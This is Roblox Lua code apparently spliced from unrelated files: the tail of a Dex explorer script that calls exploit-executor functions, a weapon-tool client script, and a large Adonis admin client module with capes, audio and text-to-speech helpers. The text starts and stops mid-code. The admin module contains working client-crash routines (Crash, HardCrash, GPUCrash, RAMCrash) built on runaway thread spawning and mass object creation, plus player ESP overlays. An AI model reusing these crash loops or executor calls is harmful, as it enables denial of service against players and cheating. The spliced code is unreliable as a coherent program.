Pi!") end print("hi") --]] end function updateDexStorageListeners() for i,v in pairs(dexStorageListeners) do v:Disconnect() end dexStorageListeners = {} for i,v in pairs(DexStorageMain:GetChildren()) do pcall(function() local ev = v.Changed:connect(updateDexStorage) table.insert(dexStorageListeners,ev) end) end end do NodeLookup[workspace.Parent] = { Object = workspace.Parent; Parent = nil; Index = 0; Expanded = true; } if DexStorageEnabled then NodeLookup[DexStorage] = { Object = DexStorage; Parent = nil; Index = 0; Expanded = true; } end if NilStorageEnabled then NodeLookup[NilStorage] = { Object = NilStorage; Parent = nil; Index = 0; Expanded = true; } end Connect(game.DescendantAdded,addObject) Connect(game.DescendantRemoving,removeObject) if DexStorageEnabled then --[[ if readfile(getelysianpath().."DexStorage.txt") == nil then writefile(getelysianpath().."DexStorage.txt","") end --]] buildDexStorage() Connect(DexStorage.DescendantAdded,addObject) Connect(DexStorage.DescendantRemoving,removeObject) Connect(DexStorage.DescendantAdded,updateDexStorage) Connect(DexStorage.DescendantRemoving,updateDexStorage) end if NilStorageEnabled then Connect(NilStorage.DescendantAdded,addObject) Connect(NilStorage.DescendantRemoving,removeObject) local currentTable = get_nil_instances() spawn(function() while wait() do if #currentTable ~= #get_nil_instances() then currentTable = get_nil_instances() --NilStorageMain:ClearAllChildren() for i,v in pairs(get_nil_instances()) do if v ~= NilStorage and v ~= DexStorage then pcall(function() v.Parent = NilStorageMain end) --[[ local newNil = v newNil.Archivable = true newNil:Clone().Parent = NilStorageMain --]] end end end end end) end local function get(o) return o:GetChildren() end local function r(o) local s,children = pcall(get,o) if s then for i = 1,#children do addObject(children[i],true) r(children[i]) end end end r(workspace.Parent) if DexStorageEnabled then r(DexStorage) end if NilStorageEnabled then r(NilStorage) end scrollBar.VisibleSpace = math.ceil(listFrame.AbsoluteSize.y/ENTRY_BOUND) updateList() end
--//Tool Function\\--
tool.Equipped:Connect(function() contextActionService:BindAction("ActivateSpecial", activate, true, Enum.KeyCode.E) contextActionService:SetImage("ActivateSpecial", tool.TextureId) contextActionService:SetPosition("ActivateSpecial", UDim2.new(0.72, -25, 0.20, -25)) mouse.Icon = cursorId end) tool.Unequipped:Connect(function() contextActionService:UnbindAction("ActivateSpecial") mouse.Icon = "" end) tool.Activated:Connect(function() if not enabled then return end enabled = false fire:FireServer(mouse.Hit) wait(fireRate.Value) enabled = true end) hit.OnClientEvent:Connect(function() mouse.Icon = hitId handle.Hitmark:Play() wait(0.075) mouse.Icon = cursorId end) activateSpecial.OnClientEvent:Connect(function() for i = specialRechargeTime.Value, 0, -1 do wait(1) specialDB = false end specialDB = true end)
--// Special Variables
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local script = script local service = Vargs.Service local client = Vargs.Client local Anti, Core, Functions, Process, Remote, UI, Variables local function Init() UI = client.UI; Anti = client.Anti; Core = client.Core; Variables = client.Variables; Functions = client.Functions; Process = client.Process; Remote = client.Remote; Functions.Init = nil; end local function RunLast() --[[client = service.ReadOnly(client, { [client.Variables] = true; [client.Handlers] = true; G_API = true; G_Access = true; G_Access_Key = true; G_Access_Perms = true; Allowed_API_Calls = true; HelpButtonImage = true; Finish_Loading = true; RemoteEvent = true; ScriptCache = true; Returns = true; PendingReturns = true; EncodeCache = true; DecodeCache = true; Received = true; Sent = true; Service = true; Holder = true; GUIs = true; LastUpdate = true; RateLimits = true; Init = true; RunLast = true; RunAfterInit = true; RunAfterLoaded = true; RunAfterPlugins = true; }, true)--]] Functions.RunLast = nil; end getfenv().client = nil getfenv().service = nil getfenv().script = nil client.Functions = { Init = Init; RunLast = RunLast; Kill = client.Kill; ESPFaces = {"Front", "Back", "Top", "Bottom", "Left", "Right"}; ESPify = function(obj, color) local Debris = service.Debris local New = service.New local LocalPlayer = service.UnWrap(service.Player) for i, part in obj:GetChildren() do if part:IsA("BasePart") then if part.Name == "Head" and not part:FindFirstChild("__ADONIS_NAMETAG") then local player = service.Players:GetPlayerFromCharacter(part.Parent) if player then local bb = New("BillboardGui", { Name = "__ADONIS_NAMETAG", AlwaysOnTop = true, StudsOffset = Vector3.new(0,2,0), Size = UDim2.new(0,100,0,40), Adornee = part, }, true) local taglabel = New("TextLabel", { BackgroundTransparency = 1, TextColor3 = Color3.new(1,1,1), TextStrokeTransparency = 0, Text = string.format("%s (@%s)\n> %s <", player.DisplayName, player.Name, "0"), Size = UDim2.new(1, 0, 1, 0), TextScaled = true, TextWrapped = true, Parent = bb }, true) bb.Parent = part if player ~= LocalPlayer then spawn(function() repeat if not part then break end local DIST = LocalPlayer:DistanceFromCharacter(part.CFrame.Position) taglabel.Text = string.format("%s (@%s)\n> %s <", player.DisplayName, player.Name, DIST and math.floor(DIST) or 'N/A') task.wait() until not part or not bb or not taglabel end) end end end for _, surface in Functions.ESPFaces do local gui = New("SurfaceGui", { AlwaysOnTop = true, ResetOnSpawn = false, Face = surface, Adornee = part, }, true) New("Frame", { Size = UDim2.new(1, 0, 1, 0), BackgroundColor3 = color, Parent = gui, }, true) gui.Parent = part; local tempConnection; tempConnection = gui.AncestryChanged:Connect(function(obj, parent) if obj == gui and parent == nil then tempConnection:Disconnect() Debris:AddItem(gui,0) for i,v in Variables.ESPObjects do if v == gui then table.remove(Variables.ESPObjects, i) break; end end end end) Variables.ESPObjects[gui] = part; end end end end; CharacterESP = function(mode, target, color) color = color or Color3.new(1, 0, 0.917647) local Debris = service.Debris local UnWrap = service.UnWrap if Variables.ESPEvent then Variables.ESPEvent:Disconnect(); Variables.ESPEvent = nil; end for obj in Variables.ESPObjects do if not mode or not target or (target and obj:IsDescendantOf(target)) then local __ADONIS_NAMETAG = obj.Parent and obj.Parent:FindFirstChild("__ADONIS_NAMETAG") if __ADONIS_NAMETAG then __ADONIS_NAMETAG:Destroy() end Debris:AddItem(obj,0) Variables.ESPObjects[obj] = nil; end end if mode == true then if not target then Variables.ESPEvent = workspace.ChildAdded:Connect(function(obj) task.wait() local human = obj.ClassName == "Model" and service.Players:GetPlayerFromCharacter(obj) if human then task.spawn(Functions.ESPify, UnWrap(obj), color); end end) for _, Player in service.Players:GetPlayers() do if Player.Character then task.spawn(Functions.ESPify, UnWrap(Player.Character), color); end end else Functions.ESPify(UnWrap(target), color); end end end; GetRandom = function(pLen) --local str = "" --for i=1,math.random(5,10) do str=str..string.char(math.random(33,90)) end --return str local random = math.random local format = string.format local Len = (type(pLen) == "number" and pLen) or random(5,10) --// reru local Res = {}; for Idx = 1, Len do Res[Idx] = format('%02x', random(255)); end; return table.concat(Res) end; Round = function(num) return math.floor(num + 0.5) end; SetView = function(ob) local CurrentCamera = workspace.CurrentCamera if ob=='reset' then CurrentCamera.CameraType = 'Custom' CurrentCamera.CameraSubject = service.Player.Character.Humanoid CurrentCamera.FieldOfView = 70 else CurrentCamera.CameraSubject = ob end end; AddAlias = function(alias, command) Variables.Aliases[string.lower(alias)] = command; Remote.Get("UpdateAliases", Variables.Aliases) task.defer(UI.MakeGui, "Notification", { Time = 4; Icon = client.MatIcons["Add circle"]; Title = "Notification"; Message = string.format('Alias "%s" added', string.lower(alias)); }) end; RemoveAlias = function(alias) if Variables.Aliases[string.lower(alias)] then Variables.Aliases[string.lower(alias)] = nil; Remote.Get("UpdateAliases", Variables.Aliases) task.defer(UI.MakeGui, "Notification", { Time = 4; Icon = client.MatIcons.Delete; Title = "Notification"; Message = string.format('Alias "%s" removed', string.lower(alias)); }) else task.defer(UI.MakeGui, "Notification", { Time = 3; Icon = client.MatIcons.Help; Title = "Error"; Message = string.format('Alias "%s" not found', string.lower(alias)); }) end end; Playlist = function() return Remote.Get("Playlist") end; UpdatePlaylist = function(playlist) Remote.Get("UpdatePlaylist", playlist) end; Dizzy = function(speed) service.StopLoop("DizzyLoop") if speed then local cam = workspace.CurrentCamera local last = time() local rot = 0 local flip = false service.StartLoop("DizzyLoop","RenderStepped",function() local dt = time() - last if flip then rot += math.rad(speed*dt) else rot -= math.rad(speed*dt) end cam.CoordinateFrame *= CFrame.Angles(0, 0.00, rot) last = time() end) end end; Base64Encode = function(data) local sub = string.sub local byte = string.byte local gsub = string.gsub return (gsub(gsub(data, '.', function(x) local r, b = "", byte(x) for i = 8, 1, -1 do r ..= (b % 2 ^ i - b % 2 ^ (i - 1) > 0 and '1' or '0') end return r; end) .. '0000', '%d%d%d?%d?%d?%d?', function(x) if #(x) < 6 then return '' end local c = 0 for i = 1, 6 do c += (sub(x, i, i) == '1' and 2 ^ (6 - i) or 0) end return sub('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', c + 1, c + 1) end)..({ '', '==', '=' })[#(data) % 3 + 1]) end; Base64Decode = function(data) local sub = string.sub local gsub = string.gsub local find = string.find local char = string.char local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' data = gsub(data, '[^'..b..'=]', '') return (gsub(gsub(data, '.', function(x) if x == '=' then return '' end local r, f = '', (find(b, x) - 1) for i = 6, 1, -1 do r ..= (f % 2 ^ i - f % 2 ^ (i - 1) > 0 and '1' or '0') end return r; end), '%d%d%d?%d?%d?%d?%d?%d?', function(x) if #x ~= 8 then return '' end local c = 0 for i = 1, 8 do c += (sub(x, i, i) == '1' and 2 ^ (8 - i) or 0) end return char(c) end)) end; GetGuiData = function(args) local props = { "AbsolutePosition"; "AbsoluteSize"; "ClassName"; "Name"; "Parent"; "Archivable"; "SelectionImageObject"; "Active"; "BackgroundColor3"; "BackgroundTransparency"; "BorderColor3"; "BorderSizePixel"; "Position"; "Rotation"; "Selectable"; "Size"; "SizeConstraint"; "Style"; "Visible"; "ZIndex"; "ClipsDescendants"; "Draggable"; "NextSelectionDown"; "NextSelectionLeft"; "NextSelectionRight"; "NextSelectionUp"; "AutoButtonColor"; "Modal"; "Image"; "ImageColor3"; "ImageRectOffset"; "ImageRectSize"; "ImageTransparency"; "ScaleType"; "SliceCenter"; "Text"; "TextColor3"; "Font"; "TextScaled"; "TextStrokeColor3"; "TextStrokeTransparency"; "TextTransparency"; "TextWrapped"; "TextXAlignment"; "TextYAlignment"; }; local classes = { "ScreenGui"; "GuiMain"; "Frame"; "TextButton"; "TextLabel"; "ImageButton"; "ImageLabel"; "ScrollingFrame"; "TextBox"; "BillboardGui"; "SurfaceGui"; } local guis = { Properties = { Name = "ViewGuis"; ClassName = "Folder"; }; Children = {}; } local add; add = function(tab,child) local good = false for _, v in classes do if child:IsA(v) then good = true end end if good then local new = { Properties = {}; Children = {}; } for _, v in props do pcall(function() new.Properties[v] = child[v] end) end for _, v in child:GetChildren() do add(new,v) end table.insert(tab.Children, new) end end for _, v in service.PlayerGui:GetChildren() do pcall(add, guis, v) end return guis end; LoadGuiData = function(data) local make; make = function(dat) local props = dat.Properties local children = dat.Children local gui = service.New(props.ClassName) for i,v in props do pcall(function() gui[i] = v end) end for i,v in children do pcall(function() local g = make(v) if g then g.Parent = gui end end) end return gui end local temp = Instance.new("Folder") for _, v in service.PlayerGui:GetChildren() do if not UI.Get(v) then v.Parent = temp end end Variables.GuiViewFolder = temp local folder = service.New("Folder",{Parent = service.PlayerGui; Name = "LoadedGuis"}) for _, v in data.Children do pcall(function() local g = make(v) if g then g.Parent = folder end end) end end; UnLoadGuiData = function() for _, v in service.PlayerGui:GetChildren() do if v.Name == "LoadedGuis" then v:Destroy() end end if Variables.GuiViewFolder then for _, v in Variables.GuiViewFolder:GetChildren() do v.Parent = service.PlayerGui end Variables.GuiViewFolder:Destroy() Variables.GuiViewFolder = nil end end; GetParticleContainer = function(target) if target then for _, v in service.LocalContainer():GetChildren() do if v.Name == target:GetFullName().."PARTICLES" then local obj = v:FindFirstChild("_OBJECT") if obj.Value == target then return v end end end end end; NewParticle = function(target, class, properties) local effect, index; properties.Parent = target; properties.Enabled = Variables.ParticlesEnabled; effect = service.New(class, properties); index = Functions.GetRandom(); Variables.Particles[index] = effect; table.insert(Variables.Particles, effect); effect.Changed:Connect(function() if not effect or not effect.Parent or effect.Parent ~= target then pcall(function() effect:Destroy() end) Variables.Particles[index] = nil; end end) end; RemoveParticle = function(target, name) for i,effect in Variables.Particles do if effect.Parent == target and effect.Name == name then effect:Destroy(); Variables.Particles[i] = nil; end end end; EnableParticles = function(enabled) for _, effect in Variables.Particles do if enabled then effect.Enabled = true else effect.Enabled = false end end end; NewLocal = function(class, props, parent) local obj = service.New(class) for prop,value in props do obj[prop] = value end if not parent or parent == "LocalContainer" then obj.Parent = service.LocalContainer() elseif parent == "Camera" then obj.Parent = workspace.CurrentCamera elseif parent == "PlayerGui" then obj.Parent = service.PlayerGui end end; MakeLocal = function(object,parent,clone) if object then local object = object if clone then object = object:Clone() end if not parent or parent == "LocalContainer" then object.Parent = service.LocalContainer() elseif parent == "Camera" then object.Parent = workspace.CurrentCamera elseif parent == "PlayerGui" then object.Parent = service.PlayerGui end end end; MoveLocal = function(object,parent,newParent) local par if not parent or parent == "LocalContainer" then par = service.LocalContainer() elseif parent == "Camera" then par = workspace.CurrentCamera elseif parent == "PlayerGui" then par = service.PlayerGui end for _, obj in par:GetChildren() do if obj.Name == object or obj == obj then obj.Parent = newParent end end end; RemoveLocal = function(object,parent,match) local par if not parent or parent == "LocalContainer" then par = service.LocalContainer() elseif parent == "Camera" then par = workspace.CurrentCamera elseif parent == "PlayerGui" then par = service.PlayerGui end for _, obj in par:GetChildren() do if match and string.match(obj.Name,object) or obj.Name == object or object == obj then obj:Destroy() end end end; NewCape = function(data) local char = data.Parent local material = data.Material or "Neon" local color = data.Color or "White" local reflect = data.Reflectance or 0 local decal = tonumber(data.Decal or "") if char then Functions.RemoveCape(char) local torso = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso") or char:FindFirstChild("HumanoidRootPart") if torso then local isR15 = torso.Name == "UpperTorso" local p = service.New("Part", { Parent = char; Name = "ADONIS_CAPE"; Anchored = false; CanCollide = false; Massless = true; CanQuery = false; Size = Vector3.new(2, 4, 0.1); Position = torso.Position; BrickColor = BrickColor.new(color); Transparency = 0; Reflectance = reflect; Material = material; TopSurface = 0; BottomSurface = 0; }) if reflect then p.Reflectance = reflect end local motor1 = service.New("Motor", { Parent = p; Part0 = p; Part1 = torso; MaxVelocity = 0.01; C0 = CFrame.new(0, 1.75, 0) * CFrame.Angles(0, math.rad(90), 0); C1 = CFrame.new(0, 1 - (if isR15 then 0.2 else 0), torso.Size.Z / 2) * CFrame.Angles(0, math.rad(90), 0); }) service.New("BlockMesh", { Parent = p; Scale = Vector3.new(0.9, 0.87, 0.1) }) local dec if decal and decal ~= 0 then dec = service.New("Decal", { Parent = p; Name = "Decal"; Face = 2; Texture = "rbxassetid://"..decal; Transparency = 0; }) end table.insert(Variables.Capes, { Part = p; Motor = motor1; Enabled = Variables.CapesEnabled; Parent = data.Parent; Torso = torso; Decal = dec; Data = data; Wave = true; isR15 = isR15; isPlayer = service.Players:GetPlayerFromCharacter(data.Parent) == service.Player; }) if not Variables.CapesEnabled then p.Transparency = 1 if dec then dec.Transparency = 1 end end Functions.MoveCapes() end end end; RemoveCape = function(parent) for i, v in Variables.Capes do if v.Parent == parent or not v.Parent or not v.Parent.Parent then pcall(v.Part.Destroy, v.Part) table.remove(Variables.Capes, i) end end end; HideCapes = function(hide) for i, v in Variables.Capes do local torso = v.Torso local parent = v.Parent local part = v.Part local motor = v.Motor local wave = v.Wave local decal = v.Decal if parent and parent.Parent and torso and torso.Parent and part and part.Parent then if not hide then part.Transparency = 0 if decal then decal.Transparency = 0 end v.Enabled = true else part.Transparency = 1 if decal then decal.Transparency = 1 end v.Enabled = false end else pcall(part.Destroy, part) table.remove(Variables.Capes, i) end end end; MoveCapes = function() service.StopLoop("CapeMover") service.StartLoop("CapeMover",0.1,function() if Functions.CountTable(Variables.Capes) == 0 or not Variables.CapesEnabled then service.StopLoop("CapeMover") else for i, v in Variables.Capes do local torso = v.Torso local parent = v.Parent local isPlayer = v.isPlayer local isR15 = v.isR15 local part = v.Part local motor = v.Motor local wave = v.Wave local decal = v.Decal if parent and parent.Parent and torso and torso.Parent and part and part.Parent then if v.Enabled and Variables.CapesEnabled then part.Transparency = 0 if decal then decal.Transparency = 0 end local ang = 0.1 if wave then if torso.Velocity.Magnitude > 1 then ang += (torso.Velocity.Magnitude/10 * 0.05) + 0.05 end v.Wave = false else v.Wave = true end ang += math.min(torso.Velocity.Magnitude/11, .8) motor.MaxVelocity = math.min((torso.Velocity.Magnitude/111), 0.04) + 0.002 if isPlayer then motor.DesiredAngle = -ang else motor.CurrentAngle = -ang -- bugs end if motor.CurrentAngle < -0.2 and motor.DesiredAngle > -0.2 then motor.MaxVelocity = 0.04 end else part.Transparency = 1 if decal then decal.Transparency = 1 end end else pcall(part.Destroy, part) table.remove(Variables.Capes, i) end end end end, true) end; CountTable = function(tab) local count = 0 for _ in tab do count += 1 end return count end; ClearAllInstances = function() local objects = service.GetAdonisObjects() for i in objects do i:Destroy() end table.clear(objects) end; PlayAnimation = function(animId) if animId == 0 then return end local char = service.Player.Character local human = char and char:FindFirstChildOfClass("Humanoid") local animator = human and human:FindFirstChildOfClass("Animator") or human and human:WaitForChild("Animator", 9e9) if not animator then return end for _, v in animator:GetPlayingAnimationTracks() do v:Stop() end local anim = service.New('Animation', { AnimationId = 'rbxassetid://'..animId, Name = "ADONIS_Animation" }) local track = animator:LoadAnimation(anim) track:Play() end; SetLighting = function(prop,value) if service.Lighting[prop]~=nil then service.Lighting[prop] = value Variables.LightingSettings[prop] = value end end; ChatMessage = function(msg,color,font,size) local tab = {} tab.Text = msg if color then tab.Color = color end if font then tab.Font = font end if size then tab.Size = size end service.StarterGui:SetCore("ChatMakeSystemMessage",tab) if Functions.SendToChat then Functions.SendToChat({Name = "::Adonis::"},msg,"Private") end end; SetCamProperty = function(prop,value) local cam = workspace.CurrentCamera if cam[prop] then cam[prop] = value end end; SetFPS = function(fps) service.StopLoop("SetFPS") local fps = tonumber(fps) if fps then service.StartLoop("SetFPS",0.1,function() local ender = time()+1/fps repeat until time()>=ender end) end end; RestoreFPS = function() service.StopLoop("SetFPS") end; Crash = function() --[[ local load = function(f) return f() end local s = string.rep("\n", 2^24) print(load(function() return s end))--]] --print(string.find(string.rep("a", 2^20), string.rep(".?", 2^20))) --[[while true do spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() print("Triangles.") end) end) end) end) end) end) end) end) end) end) end) end--]] local Run = service.RunService; local Lol = 0; local Thread; function Thread() Run:BindToRenderStep(tostring(Lol), 100, function() print"Stopping"; Thread(); end); Lol += 1; end; Thread(); --local crash; crash = function() while true do repeat spawn(function() pcall(function() print(game[("%s|"):rep(100000)]) crash() end) end) until nil end end --crash() end; HardCrash = function() local crash local tab local gui = service.New("ScreenGui",service.PlayerGui) local rem = service.New("RemoteEvent",workspace.CurrentCamera) crash = function() for i=1,50 do service.Debris:AddItem(service.New("Part",workspace.CurrentCamera),2^4000) print("((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)") local f = service.New('Frame',gui) f.Size = UDim2.new(1,0,1,0) spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end) rem:FireServer("Hiiiiiiiiiiiiiiii") spawn(function() spawn(function() spawn(function() spawn(function() spawn(function() print("hi") spawn(crash) end) end) end) end) end) --print(game[("%s|"):rep(0xFFFFFFF)]) end tab = {} end while task.wait(0.01) do for i = 1,50000000 do cPcall(function() client.GPUCrash() end) cPcall(function() crash() end) print(1) end end end; GPUCrash = function() local New = service.New local gui = New("ScreenGui",service.PlayerGui) local scr = UDim2.new(1, 0, 1, 0) local crash crash = function() while task.wait(0.01) do for _ = 1,500000 do New('Frame', { Size = scr; Parent = gui, }) end end end crash() end; RAMCrash = function() local Debris = service.Debris local New = service.New while task.wait(0.1) do for i = 1,10000 do Debris:AddItem(New("Part",workspace.CurrentCamera),2^4000) end end end; KillClient = function() client.Kill("KillClient called") end; KeyCodeToName = function(keyVal) local keyVal = tonumber(keyVal); if keyVal then for _, e in Enum.KeyCode:GetEnumItems() do if e.Value == keyVal then return e.Name; end end end return "UNKNOWN"; end; KeyBindListener = function(keybinds) if not Variables then task.wait() end; local timer = 0 local data = (not keybinds) and Remote.Get("PlayerData"); Variables.KeyBinds = keybinds or (data and data.Keybinds) or {} service.UserInputService.InputBegan:Connect(function(input) local key = tostring(input.KeyCode.Value) local textbox = service.UserInputService:GetFocusedTextBox() if Variables.KeybindsEnabled and not (textbox) and key and Variables.KeyBinds[key] and not Variables.WaitingForBind then local isAdmin = Remote.Get("CheckAdmin") if time() - timer > 5 or isAdmin then Remote.Send('ProcessCommand',Variables.KeyBinds[key],false,true) UI.Make("Hint",{ Message = "[Ran] Key: "..Functions.KeyCodeToName(key).." | Command: "..tostring(Variables.KeyBinds[key]) }) end timer = time() end end) end; AddKeyBind = function(key, command) local key = tostring(key); Variables.KeyBinds[tostring(key)] = command Remote.Get("UpdateKeybinds",Variables.KeyBinds) UI.Make("Hint",{ Message = 'Bound key "'..Functions.KeyCodeToName(key)..'" to command: '..command }) end; RemoveKeyBind = function(key) local key = tostring(key); if Variables.KeyBinds[tostring(key)] ~= nil then Variables.KeyBinds[tostring(key)] = nil Remote.Get("UpdateKeybinds",Variables.KeyBinds) Routine(function() UI.Make("Hint",{ Message = 'Removed key "'..Functions.KeyCodeToName(key)..'" from keybinds' }) end) end end; BrickBlur = function(on,trans,color) local exists = service.LocalContainer():FindFirstChild("ADONIS_WINDOW_FUNC_BLUR") if exists then exists:Destroy() end if on then local pa = Instance.new("Part",workspace.CurrentCamera) pa.Name = "ADONIS_WINDOW_FUNC_BLUR" pa.Material = "Neon" pa.BrickColor = color or BrickColor.Black() pa.Transparency = trans or 0.5 pa.CanCollide = false pa.Anchored = true pa.FormFactor = "Custom" pa.Size=Vector3.new(100,100,0) while pa and pa.Parent and task.wait(1/40) do pa.CFrame = workspace.CurrentCamera.CoordinateFrame*CFrame.new(0,0,-2.5)*CFrame.Angles(12.6,0,0) end else for _, v in workspace.CurrentCamera:GetChildren() do if v.Name == "ADONIS_WINDOW_FUNC_BLUR" then v:Destroy() end end end end; PlayAudio = function(audioId, volume, pitch, looped) if Variables.localSounds[tostring(audioId)] then Variables.localSounds[tostring(audioId)]:Stop() Variables.localSounds[tostring(audioId)]:Destroy() Variables.localSounds[tostring(audioId)]=nil end local sound = service.New("Sound") sound.SoundId = "rbxassetid://"..audioId if looped then sound.Looped = true end if volume then sound.Volume = volume end if pitch then sound.Pitch = pitch end sound.Name = "ADONI_LOCAL_SOUND "..audioId sound.Parent = service.LocalContainer() Variables.localSounds[tostring(audioId)] = sound sound:Play() task.wait(1) repeat task.wait(0.1) until not sound.IsPlaying sound:Destroy() Variables.localSounds[tostring(audioId)] = nil end; StopAudio = function(audioId) if Variables.localSounds[tostring(audioId)] then Variables.localSounds[tostring(audioId)]:Stop() Variables.localSounds[tostring(audioId)]:Destroy() Variables.localSounds[tostring(audioId)] = nil elseif audioId == "all" then for i, v in Variables.localSounds do v:Stop() v:Destroy() Variables.localSounds[i] = nil end end end; FadeAudio = function(audioId,inVol,pitch,looped,incWait) if not inVol then local sound = Variables.localSounds[tostring(audioId)] if sound then for i = sound.Volume,0,-0.01 do sound.Volume = i task.wait(incWait or 0.1) end Functions.StopAudio(audioId) end else Functions.StopAudio(audioId) Functions.PlayAudio(audioId,0,pitch,looped) local sound = Variables.localSounds[tostring(audioId)] if sound then for i = 0,inVol,0.01 do sound.Volume = i task.wait(incWait or 0.1) end end end end; KillAllLocalAudio = function() for i,v in Variables.localSounds do v:Stop() v:Destroy() table.remove(Variables.localSounds,i) end end; RemoveGuis = function() for _, v in service.PlayerGui:GetChildren() do if not UI.Get(v) then v:Destroy() end end end; SetCoreGuiEnabled = function(element,enabled) service.StarterGui:SetCoreGuiEnabled(element,enabled) end; SetCore = function(...) service.StarterGui:SetCore(...) end; UnCape = function() local cape = service.LocalContainer():FindFirstChild("::Adonis::Cape") if cape then cape:Destroy() end end; Cape = function(material,color,decal,reflect) local torso = service.Player.Character:FindFirstChild("HumanoidRootPart") if torso then local p = service.New("Part",service.LocalContainer()) p.Name = "::Adonis::Cape" p.Anchored = true p.Transparency=0.1 p.Material=material p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 if type(color)=="table" then color = Color3.new(color[1],color[2],color[3]) end p.BrickColor = BrickColor.new(color) or BrickColor.new("White") if reflect then p.Reflectance=reflect end if decal and decal~=0 then local dec = service.New("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id="..decal dec.Transparency=0 end p.formFactor = "Custom" p.Size = Vector3.new(.2,.2,.2) local msh = service.New("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5) task.wait(0.1) p.Anchored=false local motor1 = service.New("Motor", p) motor1.Part0 = p motor1.Part1 = torso motor1.MaxVelocity = .01 motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0) motor1.C1 = CFrame.new(0,1,torso.Size.Z/2)*CFrame.Angles(0,math.rad(90),0)--.45 local wave = false repeat task.wait(1/44) local ang = 0.1 local oldmag = torso.Velocity.Magnitude local mv = .002 if wave then ang += ((torso.Velocity.Magnitude/10)*.05)+.05 wave = false else wave = true end ang += math.min(torso.Velocity.Magnitude/11, .5) motor1.MaxVelocity = math.min((torso.Velocity.Magnitude/111), .04) + mv motor1.DesiredAngle = -ang if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end repeat task.wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.Magnitude - oldmag) >=(torso.Velocity.Magnitude/10) + 1 if torso.Velocity.Magnitude < .1 then task.wait(.1) end until not p or not p.Parent or p.Parent ~= service.LocalContainer() end end; TextToSpeech = function(str) local audioId = 296333956 local audio = Instance.new("Sound",service.LocalContainer()) audio.SoundId = "rbxassetid://"..audioId audio.Volume = 1 local audio2 = Instance.new("Sound",service.LocalContainer()) audio2.SoundId = "rbxassetid://"..audioId audio2.Volume = 1 local phonemes = { { str='%so'; func={17} }; --(on) { str='ing'; func={41} }; --(singer) { str="oot"; func={4, 26}; --oo,t }; { str='or'; func={10} }; --(door) --oor { str='oo'; func={3} }; --(good) { str='hi'; func={44, 19}; --h, y/ii }; { str='ie'; func={1}; --ee }; { str="eye"; func={19}; --y/ii }; { str="$Suy%s"; --%Suy real="uy"; func={19}; --y/ii }; { str="%Sey%s"; --%Sey func={1}; --ee }; { str="%sye"; --%sye func={19}; --y/ii }; --[[{ str='th'; func={30.9, 31.3} }; --(think)--]] { str='the'; func={25, 15}; --th, u }; { str='th'; func={32, 0.2395} }; --(this) --[[ { str='ow'; func={10, 0.335} }; --(show) --ow --]] { str='ow'; func={20} }; --(cow) --ow { str="qu"; func={21,38};--c,w }; { str='ee'; func={1} }; --(sheep) { str='i%s'; delay=0.5; func={19} }; --(I) { str='ea'; func={1} }; --(read) { str='u(.*)e'; real='u'; capture=true; func={9} }; --(cure) (match ure) --u { str='ch'; func={24} }; --(cheese) { str='ere'; func={5} }; --(here) { str='ai'; func={6} }; --(wait) { str='la'; func={39,6} }; { str='oy'; func={8} }; --(boy) { str='gh'; func={44}; }; { str='sh'; func={22} }; --(shall) { str='air'; func={18} }; --(hair) { str='ar'; func={16} }; --(far) { str='ir'; func={11} }; --(bird) { str='er'; func={12} }; --(teacher) { str='sio'; func={35} }; --(television) { str='ck'; func={21} }; --(book) { str="zy"; func={34,1}; --z,ee }; { str="ny"; func={42, 1}; --n,ee }; { str="ly"; func={39, 